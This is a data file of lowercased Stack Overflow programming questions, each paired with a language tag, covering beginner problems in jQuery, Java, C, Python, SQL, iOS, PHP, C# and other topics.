uncaught referenceerror: $ is not defined at get_all  when i was running below coding i ran into the problem with this    <blockquote>    uncaught referenceerror: $ is not defined at get_all  </blockquote>   i have successfully linked jquery files and css files. i don t know why. i have been trying for 3 days. but couldn t get the answer. please  someone  fix this.it more helpful for me. i have attached coding below what i tried so far thanks.   <pre><code> &lt;script src= bower_components/jquery/dist/jquery.min.js &gt;&lt;/script&gt;       &lt;script src= bower_components/jquery-slimscroll/jquery.slimscroll.min.js &gt;&lt;/script&gt;          &lt;script src= bower_components/jquery.validate.min.js &gt;&lt;/script&gt; &lt;script src= bower_components/datatables.net-bs/js/datatables.bootstrap.min.js &gt;&lt;/script&gt;    &lt;script src= https://cdn.datatables.net/1.10.16/js/jquery.datatables.min.js &gt;&lt;/script&gt;     &lt;script src= bower_components/jquery.validate.min.js &gt;&lt;/script&gt;      &lt;div class= col-sm-8 &gt;             &lt;div class= col s12 m6 offset-m4 &gt;                 &lt;div class= panel-heading &gt;                     &lt;h3 class= panel-title &gt;current team members&lt;/h3&gt;                 &lt;/div&gt;                 &lt;div class= panel-body &gt;                      &lt;table id= tbl-projects  class= table table-striped table-bordered  cellspacing= 0                             width= 100% &gt;                         &lt;thead&gt;                         &lt;tr&gt;                              &lt;th&gt;&lt;/th&gt;                             &lt;th&gt;&lt;/th&gt;                             &lt;th&gt;&lt;/th&gt;                             &lt;th&gt;&lt;/th&gt;                          &lt;/tr&gt;                      &lt;/table&gt;                 &lt;/div&gt;             &lt;/div&gt;          &lt;/div&gt;     &lt;/div&gt;        &lt;script&gt;      get_all();      function get_all() {              $( #tbl-projects ).datatable().fndestroy();             $.ajax({                 url:  all_category.php                   type:  get                   datatype:  json                    success: function (data) {                       $( #tbl-projects ).datatable({                          aadata : data                                                    scrollx : true                           aocolumns : [                             { stitle :  category    mdata :  catname }                              {                                  stitle :  status   mdata :  status    render : function (mdata  type  row  meta) {                                 if (mdata == 1) {                                     return  &lt;span class= label label-info &gt;active&lt;/span&gt; ;                                 }                                 else if (mdata == 2) {                                     return  &lt;span class= label label-warning &gt;deactive&lt;/span&gt; ;                                 }                             }                             }                               {                                  stitle :  edit                                    mdata :  id                                    render : function (mdata  type  row  meta) {                                        return  &lt;button class= btn btn-xs btn-success  onclick= get_project_details(  + mdata +  ) &gt;edit&lt;/button&gt; ;                                 }                             }                              {                                  stitle :  delete                                    mdata :  id                                    render : function (mdata  type  row  meta) {                                      return  &lt;button class= btn btn-xs btn-primary  onclick= removeteam(  +  mdata +  ) &gt;delete&lt;/button&gt; ;                                    }                             }                          ]                      });                 }                  error: function (xhr) {                     console.log( request status:   + xhr.status  );                     console.log( status text:   + xhr.statustext );                     console.log(xhr.responsetext);                     var text = $($.parsehtml(xhr.responsetext)).filter( .trace-message ).text();                     // console.log(text)                  }             });         }      &lt;/script&gt; </code></pre>,jquery
invoking method issue in java <pre><code>public class tester {      private string text;      public void text() {         text =  abc ;     }      public static void main(string[] args) {         tester test = new tester();         system.out.println(test.text);     } } </code></pre>   why does this print <code>null</code>  also  if i write <code>test.text()</code> inside the print command  why there is an error  i thought i needed to invoke the method like that.,java
will this result in a seg fault  below is my code :   <pre><code>p = (float *) malloc(sizeof(float) * n); p1 = p; // p1 is float* p--; // will this result in a seg-fault  </code></pre>   i am guessing yes because i am trying to access memory outside allocated space. please could somebody confirm     <strong>edit</strong> after seeing hobbs  answer i could not resist asking this too.<br>    i strongly believe this will not result in a seg fault   <pre><code>printf( %f  p[n]); // because n is legally allocated for p </code></pre>,c
output for system.out.println gives strange number <pre><code>system.out.println( 1 + 2 =   + 1 + 2); </code></pre>   output: 12    can you explain why this is   i tried to look through some documentation but did not find anything...,java
get the index of specific tags using jquery  is there a way to only index a specific element with in a parent. for example.   <pre><code>$( h4 ).click(function(){     alert($( div h4 ).index( h4 ));  });  &lt;div&gt;  &lt;p&gt;do not include in indexing&lt;/p&gt;  &lt;p&gt;do not include in indexing&lt;/p&gt;  &lt;p&gt;do not include in indexing&lt;/p&gt;  &lt;p&gt;do not include in indexing&lt;/p&gt; &lt;h4&gt;tag i want to include in index&lt;/h4&gt; &lt;h4&gt;tag i want to include in index&lt;/h4&gt; &lt;/div&gt; </code></pre>   what i want from this is either an alert of 0 or 1 corresponding to the h4 tag i have clicked.    is this possible with jquery     update >>>>>>    hey guys thanks for all the answers  what most of what you guys have offered works  but in working practice it doesn t seem to function. i guess i have issues somewhere else in my page.     thanks anyway,jquery
move a file from a source to a destination in c#  i want to move a file <strong>abc.text</strong> from <strong>d</strong> drive to <strong>data</strong> folder in <strong>e</strong> drive using    <pre><code>system.io.file.move( d:\\abc.text    e:\\data ); </code></pre>   but it throws exception  access to destination is denied  and there is not any lock on my e drive which can cause access deny. how i can avoid from this exception,c#
how to present view bottom to top when using navigationcontroller <pre><code>viewcontroller *viewcontroller = [[viewcontroller alloc] init]; [self.navigationcontroller pushviewcontroller:viewcontroller animated:yes]; </code></pre>   with above code  the  viewcontroller  moves from right-to-left.    <strong>is it possible to present  viewcontroller  bottom-to-top </strong>    i tried but it does not work.   <pre><code>viewcontroller.modaltransitionstyle = uimodaltransitionstylecoververtical; </code></pre>   i created  navigation controller  as follows   <pre><code>uinavigationcontroller *navcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:controller]; [navcontroller setnavigationbarhidden:yes]; </code></pre>,ios
python text file questions  lets say i wanted to print a certain line from a text  containing a 1 in front of it and then print it out like so..   <pre><code>4test 1test 7test </code></pre>   how would i make it print out 1test and any other text that has a 1 in front of it in a text file,python
autmatic update-search + download + start   i have a dotnet application  a little tool. i devliver it as a  exe -file  no installation  no dlls.    i will now have a automatic update-search (timer !)  if and update is found  the exe should be closed and the new one should be downloaded and start.    how to do     develope a second tool that assist the first tool  or is there an addin / addon / plugin allready developed for such things,.net
which font family to use in psd to html stylesheet (hiragino sans gb w3)  a friend ask me to convert a psd design to html  in the psd design he is using the font: hiragino sans gb w3.    then in stylesheet im using font-family:   <pre><code>@font-face {    font-family:  hiragino sans gb w3 ;  }  body {    font-family:  hiragino sans gb w3 ;  } </code></pre>   but he told me the the font doesnt look like the psd design  what can i do to improve my stylesheet to use the  hiragino sans gb w3  in a right way     thanks in advance.,css
how to replace first column in text file   i have file like this   <pre><code>6     5     1         2.364       0.022 6     5     2        30.364       2.866 6     5     5         2.351       0.022 6     5     6        44.606       2.866 6     6     1         2.372       0.022 6     6     2        33.290       2.866 6     6     5         2.290       0.022 6     6     6        43.799       2.866 6     7     1         2.414       0.022 6     7     2        37.071       2.866 6     7     5         2.281       0.022 </code></pre>   i want to change 6 to 1.i have thought of    <pre><code>line.contains </code></pre>   but 6 also appears in other columns.,python
recording keystrokes with pyhook  i ve been trying to get this to work for some time now (to get the keyid to print in text  a= a   not a=125.)    here is my code  it either prints  none  and sometimes it prints the wrong type  or even just the keyid again. (with different idtoname arguments)   <pre><code>import pyhook from pyhook import hookmanager from pyhook.hookmanager import hookconstants import time import pythoncom    def onkeyboardevent(event):     print hookconstants.idtoname(event.ascii)  hm = pyhook.hookmanager() hm.keydown = onkeyboardevent hm.hookkeyboard()  while true:     pythoncom.pumpmessages() </code></pre>,python
more efficient method of passing $routeparams in the same view  i have a button that s passing $routeparams however this is too slow/clunky as it reloads the entire view by going to the same url collections.html    angular    <pre><code>  $routeprovider.when( /products/:uid/:mid/productslist   {         templateurl:  /views/collections.html           controller:   productscontroller  }); </code></pre>   html                           <pre><code>  &lt;tr&gt; ng-repeat= (key  product) in products &gt;                 &lt;td&gt;{{product.name}}&lt;/td&gt;                 &lt;td&gt;{{product.value}}&lt;/td&gt;&lt;/tr&gt; </code></pre>   is their a method of passing the $routeparams and loading a partial view without reloading the entire view to speed things up a bit      e.g. ng-include  instead of ng-href,angularjs
restore dropdown selection after refresh local storage  i am trying to save an options tag value to local storage. after saving its value to local storage i would like to be able to set the options tag to the option the user selected. i have tried the follow  but i am only able to save the value. i have trouble changing the select tag to the users selected value.   <pre><code>&lt;select name= fruit  id= fruit &gt;     &lt;option value= 1 &gt;apple&lt;/option&gt;     &lt;option value= 2 &gt;guava&lt;/option&gt;     &lt;option value= 3 &gt;mango&lt;/option&gt;     &lt;option value= 4 &gt;grapes&lt;/option&gt; &lt;/select&gt;  document.getelementbyid( fruit ).onchange = function() {  localstorage.setitem( fruit   document.getelementbyid( fruit ).value); }  if (localstorage.getitem( fruit ) ===  guava ) {  document.getelementbyid( fruit ).setattribute( selected    guava ); } </code></pre>,javascript
pulling an image from directory based on file name   i m trying to pull an image from a directory based on the file name matching the id number given in the url. (ie: <code>php id=1</code> being the same as <code>1.png</code>)     i ve tried several different methods  and while i m not getting any errors  i m still getting no image that shows up when i type in the id tag.     here s the most recent version of the code i ve been working with:  <code><pre>   <pre><code>       &lt; php             $id = isset($_get[ id ])   (int)$_get[ id ] : 0;                 $img = $id;                foreach(glob( gallery3/var/albums/  . $img) as $filename)          &gt;        &lt;img src =   &lt; php echo $filename;  &gt;   /&gt;  </code></pre>   </pre></code>    i m at a loss. i ve tried everything i can find and nothing seems to be working. i really don t want to pull the images from the database  and would prefer to pull them straight from the directory so that future uploaded images will be accessible directly from their id tag.,php
changing my simple html page into mobile friendly  i have this simple html page <a href= http://testphpagain1.comxa.com//index.html  rel= nofollow >http://testphpagain1.comxa.com//index.html</a>    can you please show how to make it fit/resizes to full screen on any mobile device    <pre><code>&lt;table border= 1 &gt; &lt;tbody&gt;&lt;tr&gt; &lt;th&gt;&lt;/th&gt; &lt;td&gt;text1&lt;/td&gt;&lt;td&gt;smile&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;who are you &lt;/th&gt;&lt;td&gt;&lt;input type= text  value= 0  id= input1  &gt;&lt;/td&gt; &lt;td&gt;&lt;input type= text  value= 0  id= input2   &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;text2&lt;/th&gt;&lt;td&gt;&lt;input type= text  value= 0  id= input3   &gt;&lt;/td&gt;&lt;td&gt;&lt;input type= text  value= 6  id= input4   &gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;age &lt;/th&gt;&lt;td&gt;&lt;input type= text  value= 500  id= input5   &gt;&lt;/td&gt;&lt;td&gt;&lt;input type= text  value= 10  id= input6   &gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;ratio&lt;/th&gt;&lt;td&gt;&lt;input type= text  value= 1243  id= input7   &gt;&lt;/td&gt;&lt;td&gt;&lt;input type= text  value= 100   id= input8   &gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;what is your name &lt;/th&gt;&lt;td&gt;&lt;input type= text  value= 0  id= input9   &gt;&lt;/td&gt; &lt;td&gt;&lt;input type= text  value= yes  id= input10   &gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;test&lt;/th&gt;&lt;td&gt;&lt;input type= text  id= input11 &gt;&lt;/td&gt;&lt;td&gt;&lt;input type= text   id= input12 &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;test&lt;/th&gt;&lt;td&gt;&lt;input type= text   id= input13 &gt;&lt;/td&gt;&lt;td&gt;&lt;input type= text   id= input14 &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;what  &lt;/th&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;check this&lt;/th&gt;&lt;td&gt;&lt;input type= text   id= input15 &gt;&lt;/td&gt;&lt;td&gt;&lt;input type= text  id= input16 &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;nothing here&lt;/th&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;test test test&lt;/th&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;test&lt;/th&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;test&lt;/th&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;test&lt;/th&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; </code></pre>   <strong>update</strong>    it is a single page for a single purpose and it won t be part of a website. so no design/graphics are included that i should worry about. the way i want the table to respond is to stay in the middle webpage if it was browsed from pc  but it stretches itself to the boarders of the screen if it was browsed from a mobile or tabled,html
getting rows with duplicate column values  i tried this with solutions avaialble online  but none worked for me.   <pre><code>table : id rank  1  100 1  100 2  75 2  45 3  50 3 50 </code></pre>   i want ids 1 and 3 returned  beacuse they have duplicates.     i tried something like   <pre><code> select * from a where rank in (   select rank from a group by rank having count(rank) &gt; 1 </code></pre>   this also returned ids without any duplicates. please help.,sql
programming in objective c. kochan 3rd chapter 4 exercise 6  exercise:      complex numbers are numbers that contain two components: a real part and an imaginary part. if a is the real component and b is the imaginary component  this notation is used to represent the number: a + b i write an objective-c program that defines a new class called complex. following the paradigm established for the fraction class  define the following methods for your new class:   <pre><code>-(void) setreal: (double) a; -(void) setimaginary: (double) b; -(void) print; // display as a + bi -(double) real; -(double) imaginary; </code></pre>   write a test program to test your new class and methods.     here is my solution that doesn t work:   <pre><code>    #import &lt;foundation/foundation.h&gt;  @iterface complex:nsobject {     double a  b; }  -(void)setreal: (double) a; -(void)setimaginary: (double) b; -(void) print; -(double) real; -(double) imaginary;  @end  @implementation complex -(void)setreal {     scanf(@ set real value %f  &amp;a); } -(void)setimaginary {     scanf(@ set imaginary value %f   &amp;b); } -(void) print {     nslog(@ your number is %f  a+bi); } -(double)real {     nslog(@ real number is %f  a); } -(double)imaginary {     nslog(@ imaginary number is %f  b) }  @end    int main (int argc  char *argv[]) {     nsautoreleasepool *pool=[[nsautoreleasepool alloc] init];     complex*num=[[complex alloc] init];     [num setreal:3];     [num setimaginary:4];     nslog(@ the complex number is %i  [num print]);     [num release];     [pool drain];     return 0; } </code></pre>   please  what is wrong,objective-c
cannot load such file -- coffee_script  i m going to remove active_admin from my angular rails app. so i ran the following commands.   <pre><code>rails destroy active_admin:install rails destroy active_admin:resource product </code></pre>   and i met this error.   <pre><code>cannot load such file -- coffee_script  &lt;%= stylesheet_link_tag     application   media:  all    data-turbolinks-track :  reload  %&gt; &lt;%= javascript_include_tag  application  %&gt; </code></pre>,ruby-on-rails
compare two objects and add them in a set  i have two sets  i need to compare them using some entity inside the set.    <pre><code>set&lt;node&gt; appnodes = sets.newhashset(propertyutils.getinstance().getlistofappnodes()); set&lt;node&gt; datanodes = sets.newhashset(propertyutils.getinstance().getlistofdatanodes()); set&lt;node&gt; nodes = new hashset&lt;&gt;(); </code></pre>   <strong>node pojo</strong>   <pre><code>public class node {   string hostname;   string ip;   string username;   string password;    public string gethostname() {     return hostname;   }    public void sethostname(string hostname) {     this.hostname = hostname;   }    public string getip() {     return ip;   }    public void setip(string ip) {     this.ip = ip;   }    public string getusername() {     return username;   }    public void setusername(string username) {     this.username = username;   }    public string getpassword() {     return password;   }    public void setpassword(string password) {     this.password = password;   } } </code></pre>   i need to compare the two sets using ip and add them in nodes set.   <pre><code>nodes.addall(appnodes); nodes.addall(datanodes); </code></pre>   when trying to doi it like in the above code  i get all the data from appnode set and datanode set  but i want to compare the ip in appnode set and datanode set  if they aren t the same i only need to add them in the new set.,java
test failing for uploading documents fails in rails  i am trying to test for uploading documents in rails. i am using carrierwave to upload documents. the relevant code is given below.    <strong>document model test code</strong>   <pre><code>class documenttest &lt; activesupport::testcase   def setup      @category = categories(:category_a)     @document = @category.documents.build(file_name:  abc   file:  abc.doc )   end    test  document valid  do      assert @document.valid    end </code></pre>   <strong>document model code</strong>   <pre><code>class document &lt; activerecord::base   belongs_to :category   mount_uploader :file  fileuploader    validates :file_name  presence: true   validates :file  presence: true   validate  :file_size end </code></pre>   <strong>file_uploader code</strong>    the following are the files i have whitelisted.    <pre><code>  def extension_white_list     %w(pdf doc htm html docx xlsx xml)   end </code></pre>   i get a <code>failed assertion</code> when i run the tests. i commented out the <code>validates :file  presence: true</code> code and the tests pass. i have file as type <code>string</code> in the database. however  passing in a string value is the same as passing a blank value. therefore  the <code>presence: true</code> validation fails. i am not sure why that is failing even though i am passing in a string value. i think i need to pass in additional params or information for the tests to know what kind of file it is. thanks!,ruby-on-rails
c# - remove last character from string on keydown  i m using this at the moment to remove the last character of my string if the back key is pressed  however if i hold the key it isn t removing characters from the string  while the rest of the conditionals work fine adding characters to the string. i suppose that the remove function don t work well on a kind of loop.   <pre><code>if (key == keys.back) {     if (text.length &gt; 0)     {         text.remove(text.length - 1);     } } </code></pre>   <strong>update</strong>: i thought that it was removing characters on key press  but <strong>it didn t.</strong> thanks for the answers of this stupid error.,c#
initializing static pointer arrays  k&amp;r demonstrates an example of initializing a pointer array as follows:   <pre><code>char *month_name(int n) {     static char *name[] = {      illegal month        january    february    march        april    may    june        july    august    september         october    november    december      };      return (n &lt; 1 || n &gt; 12)   name[0] : name[n]; } </code></pre>   k&amp;r states that  this is an ideal application for an internal static array .  but why is this so   why not just make this an automatic pointer array,c
having trouble adding together extracted integers from an html file  i am having trouble adding together the numbers in the linked html file (summing them).    i am receiving this error currently:   <pre><code>line 26 b=sum(y)  typeerror unsupported operand types for +: int and str </code></pre>   here is my code   <pre><code>import urllib from beautifulsoup import * import re  counter = 0 added = 0   url =  http://python-data.dr-chuck.net/comments_42.html  html = urllib.urlopen(url).read()  soup = beautifulsoup(html)  # retrieve all of the span tags spans = soup( span )  for comments in spans:     print comments     counter +=1     #y = re.findall( (\d+)   comments)  -- didnt work      #print y     #added += y y = re.findall( (\d+)   str(soup)) print y b = sum(y) print b  print  count   counter print  sum   added </code></pre>   <strong>my desired output is something like :</strong>   <pre><code>count: 50 sum: 2482 </code></pre>   as you can see where i commented out my code - i attempted to add them like this originally. no idea why this didn t work.   <pre><code>#y = re.findall( (\d+)   comments)  -- didnt work      #print y     #added += y </code></pre>   i am also not sure why this places the found numbers in a list   <pre><code>y = re.findall( (\d+)   str(soup)) </code></pre>,python
ads in a free ap that require outside subscription (like netflix)  does it go against any sort of tos with apple if you display ads in a free app  when that app requires an outside subscription service   like netflix.      this isn t totally a programming questions  so if no one knows  or doesn t want to answer  is there a site or location i could go to in order to find out,ios
compare two select statements with fields in two tables  i have 3 tables  one table called transactions has the from_account_id  the other table called payments has the to_account_id and the third table called accounts has all the data (from and to accounts numbers  from_account_id  to_account_id) but also the account_owner_code which are the account owners. an account owner may have more than one account number in the accounts table.    now i wish to find transactions that where made between accounts of different owners  so to be exact i want to find transactions that were made from account owner a.acount_1234 to accountownerb.acount56789 and not the transactions between accounts of the same owner.    the problem is i am not sure how to compare the two as i am using subselects. can anyone help     <hr>   transcription of information from comment:   <ul> <li>transaction_table: id  input_amount  from account_id  description</li> <li>payments_table: id  to_amount  to_account_number  commission  post_date  etc </li> <li>accounts_table: id  account_number  balance  open_date  owner_code</li> </ul>,sql
use mysql to create a summary  i need to <code>select</code> the following data from one of my database tables:   <pre><code>employeecode  transactiondate  weekendingdate  count(hrs) </code></pre>   i need to group the results of this by <code>employeecode</code> and by <code>transactiondate</code>.    an example of the results i expect would be the following:   <pre><code>empcode | trndate    | wed        | hrs  0000    |2016-03-24  |2016-03-24  |8 0000    |2016-03-23  |2016-03-24  |10 0001    |2016-03-24  |2016-03-24  |7.5 0001    |2016-03-23  |2016-03-24  |6 0002    |2016-03-24  |2016-03-24  |8 0002    |2016-03-23  |2016-03-24  |9 </code></pre>   how would i go about achieving this     thus far i have the following:   <pre><code>    select empcode          trndate          weekendingdate          sum(hrs)  from   timeentries  group  by trndate  order  by empcode asc  </code></pre>   but this only groups by dates i need to see a line for each employee and for each date.    tables structure is as follows:   <pre><code>  `id` int(11) not null auto_increment    `empcode` varchar(12) default null    `project` varchar(12) default null    `hrs` decimal(18 2) default null    `weekendingdate` date default null    `trndate` date default null    primary key (`id`) </code></pre>,mysql
copy file from itunes and acces from app  i have an app that needs to read some input data from a text file (a simple int array).  is it possible to copy the desired text file to the iphone via itunes  and then access it from the app     (i want to enable the possibility of adding any input i want  and not just to store it in the resources folder)    i looked for this topic and ended with some explanations about the  app sandbox   but never understood how to find the acual path for the file. any information would be very appreciated.,ios
query issue when using not in and the sub-select returns nulls  i  am trying to figure it out what am doing wrong in here. basically the query below queries the table  <strong>profiles</strong>  <strong>t1</strong> and then again using not in function queries same table  <strong>profiles</strong>  and gets the profile_friends from <strong>t2</strong> and shows the results of ids that are not found on <strong>t2</strong> results.    <strong>query</strong>   <pre><code>select t1.profile_id   t1.profile_username  t1.profile_name  t1.profile_friends  from profiles t1 where t1.profile_id not in (select t2.profile_friends from profiles as t2 where t2.profile_id =  1 ) </code></pre>   <strong>results from above query and database structure</strong> <img src= https://i.stack.imgur.com/fe76o.png  alt= enter image description here >    this id s  <strong>2 6 10</strong> should not show in this result. well id <strong>2</strong> is not showing but why is id <strong>6</strong> and <strong>10</strong> are showing     but when i try this code it works (note that i have hard coded the values)   <pre><code>select t1.profile_id   t1.profile_username  t1.profile_name  t1.profile_friends  from profiles t1 where t1.profile_id not in (2 6 10) </code></pre>,mysql
is there a better way to round float number with n decimals in c++   i known the common way is to multiply 10^n and then divide 10^n. <a href= https://stackoverflow.com/questions/16332849/is-there-any-easy-way-to-round-a-float-with-one-digit-number-in-objective-c >round a float with one digit number</a> but due to the double precision accuracy problem  i found the solution above doesn t fully work for my case:   <pre><code>0.965 * 0.9 = 0.8685  std::round(0.8685 * 1000) / 1000 = 0.869 // expects it to be 0.869 std::round(0.965 * 0.9 * 1000) / 1000 = 0.868 </code></pre>   if i want to get <code>0.869</code> from <code>std::round(0.965 * 0.9 * 1000) / 1000</code> directly  i have to change the statement to   <pre><code>std::round((0.965 * 0.9 + std::numeric_limits&lt;double&gt;::epsilon()) * 1000) / 1000 = 0.869 </code></pre>   is there a simpler way to do the rounding without add an <code>epsilon</code> for every calculation     <em>edit: the problem is that  intuitively the value of <code>std::round(0.965 * 0.9 * 1000) / 1000</code> shall be <code>0.869</code> (because <code>0.965 * 0.9 = 0.8685</code>)  but it actually give <code>0.868</code>. i want to find common way get the accurate math value with 3 decimal precision.</em>,c++
stack around variable  random  was corrupted  i know this type of question has been asked before   however i did not see anything that helped with this issue.  i am recieving the stack around variable  random  was corrupted error every time i compile.  i am not sure what may be causing it.  i am just attempting to output random numbers between -100 and 100.    thank you .    <pre><code>srand((unsigned)time(null));  int high = 200; int low = 100; const int arraysize = 100; int random[arraysize];   for (int i = 0; i &lt;= arraysize; i++){     random[arraysize] = rand() % high - low + 1;     cout &lt;&lt; random[arraysize] &lt;&lt; endl; } </code></pre>,c++
how to create a reusable ui component  this seems like a simple question that i should be able to find easily but i m having trouble understanding exactly how to create a reusable ui component for android. specifically i m trying to create this snippet that i use everywhere into a reusable component to make the code smaller.   <pre><code>&lt;relativelayout     android:layout_width= fill_parent       android:layout_height= fill_parent      android:paddingbottom= 0dp      android:paddingleft= 10dp      android:paddingright= 10dp      android:paddingtop= 10dp &gt;               &lt;textview         android:layout_width= wrap_content           android:layout_height= wrap_content          android:layout_alignparentleft= true          android:textcolor= @color/text_normal          android:id= @+id/my_text_id          android:text= my field /&gt;      &lt;textview          android:layout_width= wrap_content           android:layout_height= wrap_content          android:layout_alignparentright= true          android:textcolor= @color/text_normal          android:text= my value          android:id= @+id/my_value_id /&gt;  &lt;/relativelayout&gt; </code></pre>   these are used like this   <pre><code>&lt;scrollview xmlns:android= http://schemas.android.com/apk/res/android      android:background= @color/background_normal      android:layout_width= fill_parent          android:layout_height= fill_parent &gt;     &lt;linearlayout       android:orientation= vertical        android:layout_width= fill_parent        android:layout_height= fill_parent &gt;           &lt;relativelayout              android:layout_width= fill_parent                android:layout_height= fill_parent               android:paddingbottom= 0dp               android:paddingleft= 10dp               android:paddingright= 10dp               android:paddingtop= 10dp &gt;                       &lt;textview                 android:layout_width= wrap_content                   android:layout_height= wrap_content                  android:layout_alignparentleft= true                  android:textcolor= @color/text_normal                  android:id= @+id/my_text_id                  android:text= my field /&gt;               &lt;textview                  android:layout_width= wrap_content                   android:layout_height= wrap_content                  android:layout_alignparentright= true                  android:textcolor= @color/text_normal                  android:text= my value                  android:id= @+id/my_value_id /&gt;            &lt;/relativelayout&gt;     &lt;/linearlayout&gt;     &lt;linearlayout       android:orientation= vertical        android:layout_width= fill_parent        android:layout_height= fill_parent &gt;           &lt;relativelayout              android:layout_width= fill_parent                android:layout_height= fill_parent               android:paddingbottom= 0dp               android:paddingleft= 10dp               android:paddingright= 10dp               android:paddingtop= 10dp &gt;                       &lt;textview                 android:layout_width= wrap_content                   android:layout_height= wrap_content                  android:layout_alignparentleft= true                  android:textcolor= @color/text_normal                  android:id= @+id/my_text_id2                  android:text= my field2 /&gt;               &lt;textview                  android:layout_width= wrap_content                   android:layout_height= wrap_content                  android:layout_alignparentright= true                  android:textcolor= @color/text_normal                  android:text= my value2                  android:id= @+id/my_value_id2 /&gt;            &lt;/relativelayout&gt;           .... etc ....     &lt;/linearlayout&gt; &lt;/scrollview&gt; </code></pre>   i m hoping to be able to access both text boxes to assign values inside that will be added with the <code>&lt;include /&gt;</code> tag to a layout. does anyone know how to do this     i ve seen <a href= http://developer.android.com/resources/articles/layout-tricks-reuse.html  rel= nofollow >http://developer.android.com/resources/articles/layout-tricks-reuse.html</a> but i don t seem to see how to assign multiple of the same field.    any help is appreciated.    <strong>update</strong> these are used to put a textview on the left of the screen and another on the right that are lined up together. not sure how to describe it  but these are used in a scrollview.,android
how to run .net 2.0 assembly in a .net 4.0 applicaton  i have a .net 4.0 web application that uses a .net 2.0 assembly.  i ve added the reference to the 2.0 assembly and added this   <pre><code>&lt;startup&gt;     &lt;supportedruntime version= v4.0  sku= .netframework version=v4.0  /&gt;     &lt;supportedruntime version= v2.0.50727  /&gt; &lt;/startup&gt; </code></pre>   in the web.config file. problem is i still get a compile time error stating that i m  missing an assembly reference .  i ve even decompiled the assembly and recompiled it in .net 4.0  and still no luck.    please assist,.net
finding the dlls that are actually used vs the ones that are referenced  i have a need to identify only the dlls that are used. let me explain.    if you have a .net exe  myexe.exe  for example  that references dlla.dll  and dlla.dll is a library of common functions that references 17 other dlls  then during the build .net will put all 17 along with dlla.dll in the myexe.exe s bin folder. even if myexe.exe only calls code that is used in 2 of the dlls referenced by dlla.dll.    a .net app will run just fine with missing dlls as long as the entry assembly does not directly or indirectly call any functionality in the missing dll.    so i want to find the ones which are used.    i don t want to hard code this per project  thanks. i d like an algorithm that i can run on any project. thanks.,.net
random number every week for all visitors  i want to show a random number between 1 000 and 1 999 with these requirements   <ul> <li>show a new number every monday</li> <li>with comma for thousands separator</li> <li>show the same number to all visitors</li> </ul>   what i found so far:   <pre><code>&lt; php srand(floor(date( u )) / (60*60*24*7));  $num = 100; $a = rand() % $num; echo $a; echo  &lt;br&gt; ; $b = rand() % $num; echo $b; echo  &lt;br&gt; ; $c = rand() % $num; echo $c; echo  &lt;br&gt; ; $d = rand() % $num; echo $d; echo  &lt;br&gt; ; $e = rand() % $num; echo $e;  &gt; </code></pre>,php
custom dialog box ... wait for users input   i have a custom dialog box that asks the user for some input. it s combined in a while loop.    basically it takes a bunch of url s from a text files  loops through them 1 by 1 and asks the user for their input.    the problem is at the moment is its looping through and showing the dialogs all at once. i want to be able to wait for the users input  when they ve pressed submit  continue through the loop onto the next one.    a little stuck.,c#
use common web.config/app.config parts  let s imagine i have 40 projects: 20 with implementation and 20 with tests. some of implementation modules (those which are applications but not libraries) have app.config/web.config and all test projects have app.config (for nunit).    for some projects (primarily for test projects) i would like to use the same config file without copy+pasting. for some other projects i would like to have only some sections being the same (for example  connection strings).    are there any ways to implement it,.net
how to back from third viewcontroller to first viewcontroller   i ve a problem that i move from first viewcontroller to third viewcontroller by pushviewcontroller but when i do popviewcontrolleranimated it comes to second viewcontroller but i need to come to first. pls some one help me,iphone
fetching object details from nsnotification  how can i fetch object from nsnotification object  any clue,iphone
show required custom validator error message in to associated textbox  i have a text box control that i m wishing to apply custom field validation to. the data i m validating in the text box is used as a primary key in the database i ve set up. i need custom validation controls that allow me to check for duplicates before the data is submitted.    i would like the user to be prompted to enter different input if the validation returns that the data exists.,asp.net
why is css background property being cancelled out   i ve looked in firebug but can t find why a css background property is being cancelled out. i ve looked if there is a more specific rule but nothing. please find the image snippet  as follows:    <img src= https://i.stack.imgur.com/glfvt.png  alt= enter image description here >    maybe somebody has a suggestion,css
there are two textboxes  want to identify on which textbox the cursor is or is focused  i have two textboxes  i want the system to identify on which textbox the cursor is. if the cursor is at second textbox then the value writen in second textbox is submitted. there is a possibility that both text box contain value but only the one having cursor on must be seleted,asp.net
what does jquery[addclass] mean   what does it do in code below    <pre><code>jquery[addclass](...); </code></pre>   is it same as jquery.addclass(),jquery
